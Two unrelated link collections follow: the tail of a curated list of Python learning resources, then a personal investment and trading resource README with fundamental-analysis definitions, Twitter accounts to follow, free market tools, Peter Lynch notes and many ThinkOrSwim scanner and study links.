* [Lanyrd - Python Conference and Events](http://lanyrd.com/topics/python/)
* [Meetup.com - Python Meetup Groups](http://python.meetup.com/)
## Videos
* [Guido Van Rossum on the history of Python](http://www.youtube.com/watch?v=ugqu10JV7dk)
* [Type Hints - Guido van Rossum - PyCon 2015](https://www.youtube.com/watch?v=2wDvzy6Hgxg)
* [PyVideo](http://pyvideo.org/)
* [Khan Academy - Introduction to programming and computer science using Python](https://www.khanacademy.org/science/computer-science)
* [What are some "must-watch" Python videos ?](http://www.reddit.com/r/Python/comments/1rs7ub/what_are_some_mustwatch_python_videos/)
* [Lanyrd - Python Videos](http://lanyrd.com/topics/python/video/)
* [Python Videos, Tutorials and Screencasts at ShowMeDo](http://showmedo.com/videotutorials/python)
* [Talks by Brandon Rhodes](http://rhodesmill.org/brandon/talks/)
* [A Billion Rows per Second: Metaprogramming Python for Big Data](https://www.youtube.com/watch?v=rXj5nayS7Yg)
* [The newboston site tutorial](https://thenewboston.com/videos.php?cat=36) - [Python 3 version](https://thenewboston.com/videos.php?cat=98)
* [Python Programming Tutorials](https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA&feature=plcp)
* [Must-watch videos about Python by s16h](https://github.com/s16h/py-must-watch)
## Editors and IDE's for Python programming
* [Setting up Sublime Text for Python Development](http://dbader.org/blog/setting-up-sublime-text-for-python-development)
* [Sublime Text 2 Love by Kenneth Reitz](http://kennethreitz.org/sublime-text-2-love/)
* [Sublime Text 2 tips for Python and web developers](http://opensourcehacker.com/2012/05/11/sublime-text-2-tips-for-python-and-web-developers/)
* [PyCharm](http://www.jetbrains.com/pycharm/)
* [Geany](http://geany.org/)
* [Geany with pylint](http://michaeljaylissner.com/blog/using-pylint-in-geany)
* [PyDev](http://pydev.org)
* [Ninja-IDE](http://ninja-ide.org/)
* [Emacs setup for python development environment](http://web.archive.org/web/20141026080721/http://caisah.info/archive/emacs-for-python.pdf)
* [Emacs for python](https://github.com/gabrielelanaro/emacs-for-python)
* [Python Anywhere](https://www.pythonanywhere.com/)
* [PythonBuddy](http://pythonbuddy.com/)
* [ExtendsClass](https://extendsclass.com/python.html)
## BigData
* [Mind map of Python for Big Data](http://www.xmind.net/m/WvfC/?goback=%2Emid_I2756675707*43_*1#%21)
## Curated Python resources from other websites
* [Python Resources (All) - Codesters.org](http://web.archive.org/web/20160401215551/http://codesters.org/resource/topic/python/all/)
* [Learn Python Online](https://www.codementor.io/learn-python-online)
* [Programming Community Curated Python Tutorials & Courses](https://hackr.io/tutorials/learn-python)
* [Classpert: Find and compare online courses from multiple providers](https://classpert.com/python-programming)
## Newsletters
* [Pycoder's](http://pycoders.com/)
* [Python Weekly](http://www.pythonweekly.com/)
## Podcasts
* [Podcast.\__init__](http://podcastinit.com/)
* [Talk Python To Me](https://talkpython.fm/)
## Miscellaneous
* [Good to great Python reads](http://jessenoller.com/good-to-great-python-reads/)
* [How to Create Barcodes in Your PDFs with Python](http://java.dzone.com/articles/how-create-barcodes-your-pdfs)
* [What are some good Python interview questions ?](http://www.quora.com/What-are-good-Python-interview-questions)
* [Python innards introduction](http://tech.blog.aknin.name/2010/04/02/pythons-innards-introduction/)
* [Projects - A list of practical projects](https://github.com/thekarangoel/Projects)
* [More Python Tutorials](http://web.archive.org/web/20141030172027/http://www.awaretek.com/tutorials.html)
* [Developer Tools in Python](http://pypix.com/tools-and-tips/developer-tools/)
* [The Best of Python in 2013](http://pypix.com/roundups/best-python-2013/)
* [Top Projects of 2013](http://us4.campaign-archive2.com/?u=9735795484d2e4c204da82a29&id=384b699bca&e=1826c8bb55)
* [Advanced Regular Expression Tips and Techniques](http://pypix.com/tools-and-tips/advanced-regular-expression-tips-techniques/)
* [Advanced Data Structures in Python](http://pypix.com/python/advanced-data-structures-python/)
* [Simple Sudoku solver in python](http://freepythontips.wordpress.com/2013/09/01/sudoku-solver-in-python/)
* [Looking Inside Dropbox – Security whitepaper](http://freepythontips.wordpress.com/2013/08/30/looking-inside-dropbox-whitepaper/)
* [Why sorting an array makes a Python loop faster](http://rickystewart.wordpress.com/2013/09/03/why-sorting-an-array-makes-a-python-loop-faster/)
* [Python Integer object implementation](http://www.laurentluce.com/posts/python-integer-objects-implementation/)
* [The history of Python - Blog](http://python-history.blogspot.in/)
* [The ever useful and neat subprocess module](http://sharats.me/the-ever-useful-and-neat-subprocess-module.html)
* [Hidden Features in Python](http://stackoverflow.com/questions/101268/hidden-features-of-python/111176)
* [Python module of the week](http://pymotw.com/2/)
* [Become a programmer](http://programming-motherfucker.com/become.html#Python)
* [Python tutor](http://pythontutor.com/)
* [Best developer blogs about python - Quora](https://www.quora.com/Python-programming-language-1/What-are-the-best-developer-blogs-about-Python-development)
* [Python blogs -Stackoverflow](http://web.archive.org/web/20130516092627/http://stackoverflow.com/questions/152480/python-blogs-that-you-regularly-follow)
* [Abstracting Control Flow](http://hackflow.com/blog/2013/10/08/abstracting-control-flow/)
* [Python Algorithm Visualizations done in Python running in the browser](http://pyalgoviz.appspot.com/)
* [Solving Every Sudoku Puzzle](http://norvig.com/sudoku.html)
* [IHeartPy!](http://www.iheartpy.com/)
* [Difference Between 2 Images: Pixel Level Scanning](https://holypython.com/python-code-to-show-the-difference-between-2-images/)
|
- [Fundamental Analysis Shorthand & Definitions](#fundamental-analysis-shorthand---definitions)
- [Stay Informed](#stay-informed)
* [Fintwit (Financial Twitter)](#fintwit--financial-twitter-)
- [Tools, Completely or Mostly Free](#tools--completely-or-mostly-free)
* ["Smörgåsbords"](#-sm-rg-sbords-)
* [Sentiment/News/Social Media](#sentiment-news-social-media)
* [ETFs](#etfs)
* [Economics](#economics)
- [Stocks](#stocks)
* [Whale Tracking](#whale-tracking)
* [Buying / Selling from Insiders / Institutions](#buying---selling-from-insiders---institutions)
* [Short Interest](#short-interest)
* [Options Calculator/Strategy Builder](#options-calculator-strategy-builder)
* [Data Sources](#data-sources)
- [TL;DR or TL;DW](#tl-dr-or-tl-dw)
* [Peter Lynch's *One up on Wall Street*](#-peter-lynch-s--one-up-on-wall-street)
+ [Timestamps](#timestamps)
+ [Lynch's Checklist](#lynch-s-checklist)
- [Courses](#courses)
* [Mathematics with Applications in Finance](#mathematics-with-applications-in-finance)
* [Additional Linear Algebra Refreshers](#additional-linear-algebra-refreshers)
- [Otherwise Unspecified books, articles, guides, etc.](#otherwise-unspecified-books--articles--guides--etc)
- [ThinkOrSwim Scanners, Studies, & More](#thinkorswim-scanners--studies----more)
* [Scanners](#scanners)
* [Columns & Watchlists](#columns---watchlists)
* [Charts & Studies](#charts---studies)
- [Crypto & NFTs](#crypto---nfts)
* [FTM ECO](#ftm-eco)
* [Chart](#chart)
* [Leverage](#leverage)
* [Yield](#yield)
* [NFTs](#nfts)
* [Trading](#trading)
# Investment & Trading Resources
* Updated 06 Sept 2021
* Recommend resources to me on Discord (Netu#5570) or Twitter (Stephen_Netu).
* Append ?raw=true to any file URL on this repository (or any file on Github) to get the direct link.
# Fundamental Analysis Shorthand & Definitions
* [Revenue (TTM)](https://www.investopedia.com/terms/r/revenue.asp)* - The income generated from normal business operations and includes discounts and deductions for returned merchandise.
* *TTM (Trailing 12 Months)*
* [EV/EBITDA](https://www.investopedia.com/terms/e/ebitda.asp) - Earnings before interest, taxes, depreciation, and amortization.
* [P/S - Profits-to-Sales-Ratio](https://www.investopedia.com/terms/p/price-to-salesratio.asp) - Valuation ratio that compares a company’s stock price to its revenues.
* [P/E Price-to-Earnings-Ratio](https://www.investopedia.com/terms/p/price-earningsratio.asp) - Ratio for valuing a company that measures its current share price relative to its per-share earnings.
* [Price-to-Book Ratio](https://www.investopedia.com/terms/p/price-to-bookratio.asp) - Comparison of a firm's market capitalization to its book value.
* [P/CF - Price-to-Cash-to-Share](https://www.investopedia.com/terms/p/price-to-cash-flowratio.asp) - Ratio is a stock valuation indicator or multiple that measures the value of a stock’s price relative to its operating cash flow per share.
* [FCF - Price-to-Free-Cash-Flow](https://www.investopedia.com/terms/p/pricetofreecashflow.asp) - Equity valuation metric used to compare a company's per-share market price to its per-share amount of free cash flow (FCF).
* [PEG - Price-to-Earnings-to-Growth](https://www.investopedia.com/terms/p/pegratio.asp) - P/E ratio divided by the growth rate of its earnings for a specified time period.
* [EPS - Earnings-per-Share](https://www.investopedia.com/terms/e/eps.asp) - Calculated as a company's profit divided by the outstanding shares of its common stock.
# Stay Informed
* I follow a variety of folks for one reason or another. News sources, specific "furus" (financial gurus), you name it. I am always open to other sources.
* I keep my Twitter feed nice and tidy with https://tweetdeck.twitter.com/ - just ask me if you need help setting it up!
* *Remember, not everyone here is followed because they post correct information. Keep your enemies closer.*
## Fintwit (Financial Twitter)
```
@kerberos007
@MikeBloomberg
@TradeHawk
@TraderTexMex
@stoolpresidente
@OptionsHawk
@Bloomberg
@SquawkStreet
@SquawkCNBC
@JoeSquawk
@SquawkAlley
@cleantechfacts
@SDOHnews
@ictradingstock
@Trading_Sunset
@DeItaone
@FirstSquawk
@IntelCrab
@shortablestocks
@ScotchStocks
@Socratrades
@BigTechAlert
@realwillmeade
@SqueezeMetrics
@chamath
@jimcramer
@elonmusk
@YourBoyMilt
@jam_croissant
@ericaltm
@dalter28
@vladtenev
@sprucepointcap
@ctfn_news
@kylascan
@WhiteResearch
@Guruleaks1
@yup_its_lily
@nope_its_lily
@snorlax_support
@unusual_whales
@final_october
@astronautical69
@RektHQ
@GMEBrad
@SharkofTraders
@tradinggrounds
@TeddyKGBgang
@vigtecofficial
@StockDweebs
@LastMarginCall
@MarinerResearch
@HumbledTrader18
@HindenburgRes
@JHannisdahl
@MikoMitch
```
# Tools, Completely or Mostly Free
## "Smörgåsbords"
* https://app.koyfin.com/ - A market "dashboard". More readily/easily shows you things than a broker might.
* https://www.chartmill.com/home - Similar to the above, but more focused on fundamental analysis and additional tools.
* https://grufity.com/ - Lots of information packed together which makes a tough UX, but a lot of information, nonetheless.
* https://bitcoin.ninja/ - Crypto.
## Sentiment/News/Social Media
* https://tweetdeck.twitter.com/ - Organize your Twitter to stay on top of news more easily.
* https://stocktwits.com/ - Keep your enemies closer...
## ETFs
* https://www.etfchannel.com/ - See what ETFs are doing, including restructuring/rebalancing and news.
* https://etfdb.com/screener/ - A screen for ETFs.
* https://etfdb.com/etfs/ - Alphabetized list.
* https://etfdb.com/tool/etf-country-exposure-tool/ - Geographic exposure list
## Economics
* https://oec.world/en/visualize/tree_map/hs92/export/vct/all/show/2018/ - Useful tools to understand Supply and Demand relation between countries and overall economies.
* https://www.usdebtclock.org/ - This is an indicator of the overall US Economy all on one page.
# Stocks
* https://www.highshortinterest.com/ - A convenient sorted database of stocks which have a short interest of over 20 percent.
* For SEC Filings:
* https://www.sec.gov/edgar/searchedgar/companysearch.html
* https://sec.report/
## Whale Tracking
* https://unusualwhales.com/
* https://whalewisdom.com/
## Buying / Selling from Insiders / Institutions
* https://fintel.io/
* https://finviz.com/insidertrading.ashx *(Buying / analyst ratings / and news)*
* http://openinsider.com/ - Find insider action, purchases and sells, to get a feel for what stakeholders are thinking.
## Short Interest
* https://public.ortex.com/
* https://s3partners.com/
* https://www.finra.org/filing-reporting/regulatory-filing-systems/short-interest - Dates / Times
* *(This is reported to FINRA and will usually be updated in your brokerage and on a wealth of free sites. This is required every twice a month I believe, with a lag of 2-3 days for filing. I.e.: required to report short position the 15th, filed on the 17th (second business day after settlement), shared with public on the the 29th.)*
* https://www.nyse.com/regulation/threshold-securities - Regulation SHO - NYSE Threshold Security List
## Options Calculator/Strategy Builder
* https://optionstrat.com/ - Build spreads and more complex orders with a visual GUI. Does have some premium features you can do without.
## Data Sources
Quandl - https://www.quandl.com/
IEX Trading - https://iextrading.com/
# TL;DR or TL;DW
## [Peter Lynch's *One up on Wall Street*](https://youtu.be/4t4DmRhcV5Y)
### Timestamps
* Preparing to Invest Summary 29:11
* Building the Story 30:17
* Stock Categories 37:04
* Great Company Attributes 43:19
* Stocks to Avoid 52:46
* Importance of Earnings 59:11
* Two Minute Drill 1:04:30
* Two Minute Summary 1:20:32
* Some Famous Numbers 1:20:52
* Growth Company Phases 1:31:09
* Final Check List 1:33:11
* Designing a Portfolio 1:38:08
* Best Time to Buy and Sell 1:44:23
* Silly Things Said 1:49:50
* Long Term View 2:01:50
* Impact of News Events 2:03:51
### Lynch's Checklist
1. P/e ratio high or low?
1. % inst ownership - insiders buying/buying back shares?
1. Balance sheet strong?
1. Dividends always paid? Raised?
1. Long term growth rate?
1. Cyclicals - check inventory rates and know your cyclicals
1. P/E ratio at or near the growth rate?
1. Cash/debt and debt structure?
1. Assets? Any hidden?
1. Put stocks into categories.
1. Avoid hot stocks in hot industries.
1. Take advantage of fundamental knowledge you hear from your job/friends/social circles.
1. If price is grossly overpriced, you won't make any money, even if it does more (again P/E ratio).
1. Be patient: a watched stock never boils.
1. Put as much time as you put into buying a stock that you put into a new refrigerator.
# Courses
## Mathematics with Applications in Finance
*Course Description:* The purpose of the class is to expose undergraduate and graduate students to the mathematical concepts and techniques used in the financial industry. Mathematics lectures are mixed with lectures illustrating the corresponding application in the financial industry. MIT mathematicians teach the mathematics part while industry professionals give the lectures on applications in finance.
https://ocw.mit.edu/courses/mathematics/18-s096-topics-in-mathematics-with-applications-in-finance-fall-2013/video-lectures/
*(As you will need a base-level understanding of linear algebra for this course, I will try and find some simple, approachable refreshers for us. If you know of any, please send them my way!)*
## Additional Linear Algebra Refreshers
* Eigenvalues/vectors: https://en.wikipedia.org/wiki/Eigenvalues_and_eigenvectors and https://setosa.io/ev/eigenvectors-and-eigenvalues/
* Covariance matrices: https://en.wikipedia.org/wiki/Covariance_matrix
https://www.youtube.com/watch?v=fNk_zzaMoSs&list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab
# Otherwise Unspecified books, articles, guides, etc.
* How to read an annual report (and how it differs from a 10-K)
* https://online.hbs.edu/blog/post/how-to-read-an-annual-report
# ThinkOrSwim Scanners, Studies, & More
## Scanners
* http://tos.mx/cHhOKUW - outperforming relative strength stocks
* http://tos.mx/3UeKfJS - gap up premarket biotech stocks
* http://tos.mx/23GRode - bull trend reversal in the middle of pullback
* http://tos.mx/Gz3T4CO - high r/r cash secured puts in the low range
* http://tos.mx/Sw7mvdS - inside bar stocks near breakout
* http://tos.mx/OYQWGcj - pullback to 20ema(tweak for ideal range)
* http://tos.mx/t8JtPh – scan Aroon Bearish Cross
* http://tos.mx/nkfr0F – scan Aroon Bullish
* http://tos.mx/mK9L91 – scan Aroon Overbought
* http://tos.mx/NqVhAQ – scan Aroon Oversold
* http://tos.mx/RC7e2s – scan Bollinger Bandwidth Bulge
* http://tos.mx/sjeXSi – scan Bollinger Bandwidth Squeeze
* http://tos.mx/2u6i2D – scan Bollinger Percent B Zero Line
* http://tos.mx/w3VMTZ – scan candle patterns bearish
* http://tos.mx/2crV3F – scan candle patterns bullish
* http://tos.mx/RHAMzC – scan CMF Bearish Crossover thinkorswim downloads
* http://tos.mx/WjwYHK – scan CMF Bullish Crossover
* http://tos.mx/Pw8NIs – scan Darvas Box
* http://tos.mx/lIKuGK – scan Darvas Box Bullish
* http://tos.mx/baA0d5 – scan DIPlus/DIMinus Bullish
* http://tos.mx/iQ5KZR – scan DMI Bearish
* http://tos.mx/v3TeR4 – scan DMI Bullish
* http://tos.mx/5FyuTT – scan DMI Stoch Extreme Overbought Cross
* http://tos.mx/TEd14y – scan divergence MACD bearish
* http://tos.mx/23UUr4 – scan divergence RSI bearish
* http://tos.mx/5RuNzL – scan divergence Stochastic bearish
* http://tos.mx/wWbj1c – scan divergence both Stochastic and MACD bearish
* http://tos.mx/SmaiUB – scan Earnings
* http://tos.mx/rja4nu – scan Fisher Transform Bullish
* http://tos.mx/T6uE46 – scan Ichimoku bearish
* http://tos.mx/spOXRc – scan Ichimoku bullish
* http://tos.mx/gM0601 – scan LinearReg Bearish
* http://tos.mx/u4qxV5 – scan MACD and Stochastic overbought
* http://tos.mx/4FJ6Zo – scan Market Forecast Bearish
* http://tos.mx/4x5sK0 – scan Market Forecast Bullish
* http://tos.mx/GCWdme – scan Marubozu Bearish (3 bars)
* http://tos.mx/5uF1L1 – scan MFI Overbought Crossover
* http://tos.mx/1mdwuR – scan MFI Oversold Crossover
* http://tos.mx/B0nMQe – scan Potential Breakout
* http://tos.mx/djMBV5 – scan price within xx% of MA line (edit it to your desired % and your desired MA line)
* http://tos.mx/Vc1Xqa – scan PSAR Crossover Bearish
* http://tos.mx/9DgkEP – scan PSAR Crossover Bullish
* http://tos.mx/7U02Se – scan for range bound symbols (ADX < 20)
* http://tos.mx/EpsvVl – scan RSI Wilder Overbought
* http://tos.mx/hUC0RP – scan SMA Crossover
* http://tos.mx/yziTzm – scan StdDevChannel Lower Full Data
* http://tos.mx/ZUB7o9 – scan StdDevChannel Upper Full Data
* http://tos.mx/mlvNuD – scan SwingThree1
* http://tos.mx/aD6jjF – scan up 100% YTD and near 52-wk high thinkorswim downloads
* http://tos.mx/tvESKH – scan Vortex Bearish
* http://tos.mx/uuQWxB – scan Vortex Bullish
* http://tos.mx/9RgQPA – scan for stocks with earnings and MMM of X percent
* http://tos.mx/Ny8YRA – scan range bound with high IV percentile rank (Iron Condor candidates)
* http://tos.mx/amcl7O – scan range bound with low IV percentile rank (Double Diagonal candidates)
* http://tos.mx/04F555 – scan short put or short OTM put vertical – stock near lower support (on stock above 200SMA with positive earnings).
* http://tos.mx/V56YWM – scan Retail Buying. NOTE: change price Increasing to Decreasing to create Retail Selling scan.
* http://tos.mx/IlokCg – *updated* scan Rising IV (in absence of earnings) – NEED to add either bullish or bearish filters if using to find potential breakouts
* http://tos.mx/SKhesv – scan for stocks consolidating (ADX < 20) with Implied Volatility rising … aka potential breakout trades
## Columns & Watchlists
* http://tos.mx/yv4httI - % relative volume for today:
* http://tos.mx/hy33J9G - avg daily volume // millions:
* http://tos.mx/zf1OfoT - % avg true range:
* http://tos.mx/SBq9V14 - bid/ask spread // dollars
* http://tos.mx/5hUDRFb - exp. daily keltner channels
* http://tos.mx/991uyR – watchlist column BidAskSpread. NOTE: you cannot scan for tight Bid Ask spread, but you can create a scan and Save Query … then open the saved query as a watchlist and sort that watchlist by this custom Bid Ask spread column.
* http://tos.mx/xqVPc9 – watchlist column Down 20% or more (Bear Territory). NOTE: add to watchlist of an index to see what percent of the stocks in an index are now in bear territory.
* http://tos.mx/ydBCyJ – watchlist column below 50 sma
* http://tos.mx/rYEown – watchlist column below 200 sma. HINT: apply below 50sma and below 200sma to watchlist of Public– &P500 or other index and sort by that column to quickly see how many stocks in that index are currently above/below the 50 or 200 day moving average line watchlist column Bull.
* http://tos.mx/1XyUB2 – Bear
* http://tos.mx/uWbicV – watchlist column Extended Hours Last trade price
* http://tos.mx/6IlMBw – watchlist column IV percentile (current IV vs. “normal” IV)
* http://tos.mx/CqIAZd – watchlist column IV percentile rank (same number as bottom of Trade tab)
* http://tos.mx/tMAOzA – watchlist column MACD
* http://tos.mx/QNMRSp – watchlist column MMM
* http://tos.mx/VeyoaT – watchlist column MMM percent
* http://tos.mx/xNe8Ls – watchlist column Moving Average Crossover
* http://tos.mx/GQr3sV – watchlist column new 52-wk high or new low (click for the thinkorswim downloads)
* http://tos.mx/YGnP40 – watchlist column Next day before x-div
* http://tos.mx/cnIcIW – watchlist column Next earnings date
* http://tos.mx/I7pq6i – watchlist column percent change MTD month to date
* http://tos.mx/2Zf5nY – watchlist column percent change WTD week to date
* http://tos.mx/oSOAg5 – watchlist column percent change YTD year to date
* http://tos.mx/fp6vKQ – watchlist column PSAR bullish or bearish
* http://tos.mx/LO9Zsi – watchlist column RSI Wilder
* http://tos.mx/43abXO – watchlist column StockSizzle (unusual underlying volume)
* http://tos.mx/lqD8d0 – watchlist column (meant to be used on Trade tab option chain – turns red when volume OI at that strike). HINT: add OpenInt, Volume, and this custom column to your option chain to see how it works
* http://tos.mx/Y19CxH – Watch List symbols Market Relationships
* http://tos.mx/cr4gD8 – Watch List symbols Market Relationships (updated)
* http://tos.mx/s4dE1f – Watch List symbols Morning Radar indices overview
* http://tos.mx/dh4WE4 – Watch List symbols New World
* http://tos.mx/MY2OOA – Watch List symbols optionable sector ETFs
* https://tos.mx/HsRcAL8 – Option chain naive GEX calculation with thermometer color
* https://tos.mx/f62FzIO - Option chain volume with thermometer color
* https://tos.mx/dswMF9O - Option chain contract price as a ratio of underlying price
## Charts & Studies
* http://tos.mx/ozZx1u – alert Relative Vol Std Dev
* http://tos.mx/xh6qx6 – alert price 10% or more lower than yesterday’s close. NOTE: automatic reset is already in this alert but you need to click on tiny padlock to unlock it, and How to Notify to make desired selectio
* http://tos.mx/chn8QV – chart strategy Donchian_Channel DOWNtrend
* http://tos.mx/ZR7BfU – chart strategy Donchian_Channel UPtrend
* http://tos.mx/ZDjng8 – chart study ADX with reminder labels
* http://tos.mx/5YNPNG – chart study Binary Scan
* http://tos.mx/az0yT6 – chart study Bollinger_Cloud
* http://tos.mx/BA4lre – chart study CamarillaPoints cloud
* http://tos.mx/d9slfB – chart study count times VIX over 26
* http://tos.mx/JcO0Fu – chart study Daily_change_labels
* http://tos.mx/XwtHSD – chart study DMI with ADX line
* http://tos.mx/5kaZG7 – chart study DMI with ADX line and Alerts
* http://tos.mx/EZHe9a – *updated* chart study earnings alert for your TOS chart (includes MMM in dollars, percent, and as a shaded rectangle on the chart). NOTE: use Edit Studies box to turn off vertical lines and arrows at past earnings dates.
* http://tos.mx/yGUo11 – chart study (example of work around for being able to access Bid or Ask in a custom chart study)
* http://tos.mx/X3JtZh – chart study fib fan lines
* http://tos.mx/pv4Iep – chart study fib retracements with alerts
* http://tos.mx/XBsqDr – chart study fib time series
* http://tos.mx/hGGaN9 – chart study for monthly expiration Friday. NOTE: settlement symbols in a label + settlement vs. prior day close
* http://tos.mx/kGquYz – chart study horizontal line between current price bar and price bubble on right side of the chart
* http://tos.mx/ZbnRy4 – chart study Horizontal Line at current price. NOTE: default extends 60 bars into the past, Edit Study from 60 to 1 to only have it extend into the future.
* http://tos.mx/0ZnlcN – chart strategy Ichimoku cloud
* http://tos.mx/Inwq67 – chart study Ichimoku_with_alerts
* http://tos.mx/HatlSA – chart study Ichimoku with arrows at bull/bear triggers
* http://tos.mx/Inwq67 – chart study Ichimoku with instructions and alerts
* http://tos.mx/GbX2JS – chart study Index Watch (4 indexes vs highs). NOTE: This study works on any stock or ETF symbol to show how much each index has dropped from its 52-week high.
* http://tos.mx/y7xP1x – chart study Implied Volatility with horizontal line at 16. NOTE: sq. root of 252 = 16 therefore IV of 16 implies a 1% 1-day expected move
* http://tos.mx/PHC0uy – *updated* chart study ImpVolatility for futures charts (includes IV percentile and IV percentile rank labels)
* http://tos.mx/efI2EX – *updated* chart study IV percentile vs. IV percentile rank and “normal” IV
* http://tos.mx/X094cx – chart study IV percentile rank with HINTS
* http://tos.mx/TokDpV – chart study IV percentile oscillator
* http://tos.mx/upLe4A – chart study label $TICK at extremes
* http://tos.mx/KzmR5E – chart study label Change from Open
* http://tos.mx/GQkloD – chart study label Earnings Alert with MMM
* http://tos.mx/RKfPQW – *updated* chart study label Day Net and Percent Change
* http://tos.mx/Is31p9 – chart study label Day volume
* http://tos.mx/GbX2JS – chart study label Index Watch (percent off 52-wk high)
* http://tos.mx/OXyWGT – chart study label Percent off High. HINT: Try this custom study on chart of $DJSH Shanghai Index and on chart on new 52-wk high today to see how it works on a symbol that is down and a symbol that hit new 52-week high today.
* http://tos.mx/9GuAoP – Chart study label for MMM expressed in dollars and percent (but invisible if no MMM top of Trade tab).
* http://tos.mx/I4PNN5 – chart study label MMM with bubbles and shaded MMM range
* http://tos.mx/7ZRmeB – chart study label new 52-wk high/low
* http://tos.mx/upLe4A – chart study label $TICK at extremes
* http://tos.mx/SnACKr – chart study label VIX all time low
* http://tos.mx/goEvi8 – chart study label VWAP
* http://tos.mx/Uq76Vk – chart study label What Day is It?
* http://tos.mx/TTNql7 – chart study label YTD-MTD-WTD percent returns
* http://tos.mx/8ewB8Q – *updated* chart study label YTD-MTD-WTD percent returns
* http://tos.mx/OXyWGT – chart study label percent off 52-week high. NOTE: Try this custom study on chart of $DJSH Shanghai Index and on chart of a symbol hitting new 52-week high today to see how it works on a symbol that is down and a symbol that hit new 52-week high today.
* http://tos.mx/QNfOwj – chart study LeBron James Index (switch symbols and shares to create your own custom index)
* http://tos.mx/QBPsN0 – chart study LinearReg with Channel based on ATR (click for the thinkorswim downloads)
* http://tos.mx/QGyhbj – chart study MarketForecast with reversal levels
* http://tos.mx/j0yiZy – chart study Market Forecast with labels
* http://tos.mx/hGGaN9 – chart study for monthly expiration Friday. NOTE: settlement symbols in a label + settlement vs prior day close.
* http://tos.mx/NOR22H – *updated* chart study MMM label and horizontal lines at MMM
* http://tos.mx/iXm5Zm – chart study OnBalanceVolume with ZeroLine
* http://tos.mx/9P5nMg – chart study percent_return labels
* http://tos.mx/gEAxhK – chart study Projected SMA Price
* http://tos.mx/zQ6P90 – chart study PPO (from North V at TOS/TD)
* http://tos.mx/hT2e3M – chart study PSAR with Alerts
* http://tos.mx/5yrvUw – chart study put call ratio
* http://tos.mx/XVHcoo – chart study Single Period Percent Change
* http://tos.mx/TOLooZ – chart study Stochastic Full with BreakOuts
* http://tos.mx/ySGzE8 – chart study SwingThree1
* http://tos.mx/vMQL1A – *updated* chart study for weekly expiry lines
* http://tos.mx/X8DGDT – chart study Volume buying-vs-selling
* http://tos.mx/GRsze1 – chart study World Trading Hours for intraday chart
* http://tos.mx/QZPp9E – chart study xx% Stop line vs SMA line with Alert
* http://tos.mx/FTK84P – chart study Sector/IndGroup chart label example. NOTE: open ThinkScript code and read the instructions to add YOUR symbols.
* http://tos.mx/vIRfvi – chart study Volume-by-Price. NOTE: change “Chart” to you desired time period to see net volume across the horizontal bars for your choice of time periods [instead of net total volume for entire chart].
* http://tos.mx/iXm5Zm – example of how to add a horizontal line(s) to any chart study
* http://tos.mx/uP6AfE – example of how to add a moving average line to any chart study
* http://tos.mx/lZdFsj – *updated* NOTE: When in a grid you lose the far top right of chart Last trade, Day change, and Percent change label. Use this custom study to have that information on every chart in your grid. Chart study label Day Net and Percent Change with Day volume thinkorswim downloads
* http://tos.mx/nKN9il – chart study line chart of quarterly EPS changes. HINT: try this study on a 5-year weekly chart.
* http://tos.mx/3hrCFl -chart study futures cheat sheet labels. NOTE: this chart study shows tick size, P/L for a 1 tick move, shares equivalent, and risk per contract (futures only).
* http://tos.mx/upLe4A – chart study label $TICK at extremes
* http://tos.mx/mEVIqF – chart study futures and forex cheat sheet labels. NOTE: this chart study shows tick size, P/L for a 1 tick move, shares equivalent, and risk per contract (futures or forex)
* http://tos.mx/Ci0eVH – chart grid Pre-Market view
* http://tos.mx/cG2W4T – chart grid Weekend Routine
* http://tos.mx/Errsr8 – chart setup Bierman Basic
* http://tos.mx/khnxFi – chart setup Bierman Paralax View
* http://tos.mx/Cyjtr6 – chart setup Bierman Quad (Futures-Based Intraday)
* http://tos.mx/app4nE – chart setup Bierman Quad
* http://tos.mx/R7A6kU – chart setup Intraday Contrarian
* http://tos.mx/jeYjiN – chart setup Intraday Momentum
* http://tos.mx/Cyjtr6 – chart setup Intraday Support/Resistance
* http://tos.mx/B5AKB2 – chart setup SPX with ImpVolatility study and VIX comparison
* http://tos.mx/wq9kYL – Ichimoku Break Above the Cloud – 5 Minute Chart
* http://tos.mx/d7340d – Ichimoku Break Below the Cloud – 5 Minute Chart
* http://tos.mx/30fZt5 – Ichimoku Chikou Line Crosses Above The Cloud
* http://tos.mx/uOwZmL – Ichimoku Chiko Line Crosses Below The Cloud
* http://tos.mx/GSfZab – Ichimoku 3 candles above the cloud
* http://tos.mx/HnAeox – Ichimoku 3 candles above the cloud
* http://tos.mx/0WReVp – Ichimoku 2 candles below the cloud
* http://tos.mx/yGwahs – Ichimoku 3 candles below the cloud – click for the thinkorswim downloads
* http://tos.mx/QZU8Rn – Ichimoku inside the cloud daily
* http://tos.mx/iFlKxM – Ichimoku inside the cloud houry
* http://tos.mx/CP91iY – Ichimoku inside the cloud 10 min
* http://tos.mx/WZBbqo – Ichimoku T crossabove K Daily
* http://tos.mx/PlVCiY – Ichimoku – Ichimoku T crossabove K 10 min
* http://tos.mx/rkGFAn – Ichimoku T crossabove K 1 hour
* http://tos.mx/7SJroO – RSI in Laguerre Time with Fractal Energy SHORT
* http://tos.mx/wyFdHT – RSI in Laguerre Time with Fractal Energy LONG
* http://tos.mx/Bo1IwR – TheoTrade Projection Pivots
* http://tos.mx/OIpskL – TheoTrade RSI in Laguerre Time Self Adjusting With Fractal Energy
* http://tos.mx/5RgD9F – Daily Range vs. ATR chart label
* http://tos.mx/Jg2fe0 – Daily High Low Open Price Levels Indicator
* http://tos.mx/UHrC80 – TICK / Trin Label indicator
* http://tos.mx/5xioW0 – Opening Range Basic
* http://tos.mx/uH75Nb – All In One Pivot Points
* http://tos.mx/7kkJiq – Breakpoint Trades Mechanical 15 minute system indicator
* http://tos.mx/9pC06n – Turtle Trading System (Upper)
* http://tos.mx/RYI3nY – Turtle Trading System (Lower)
* http://tos.mx/lIPEIR – Double Stochastics
* http://tos.mx/HOLZoY – TRIX as histogram – (click for the thinkorswim downloads)
* http://tos.mx/HMlCuB – YABSI buy sell signals
* http://tos.mx/CthL0W – Major Accumulation and Distribution Days
* http://tos.mx/TWyiBV – Moving Average safe zones
* http://tos.mx/fPsUIQ – Keltner Bull Bear
* http://tos.mx/ww0NJQ – ADX, DMI, MACD in one
* http://tos.mx/YeFT1b – Martin Zweig’s Breadth Thrust indicator
* http://tos.mx/N4oDF7 – Market Internals Lower Study
* http://tos.mx/2s9btp – Emini Addict Trading Hours Only Pivot Points and Gap Fills
* http://tos.mx/Cm0N6F – Squeeze indicator with Bollinger Bands, SMA, and Keltner Channels
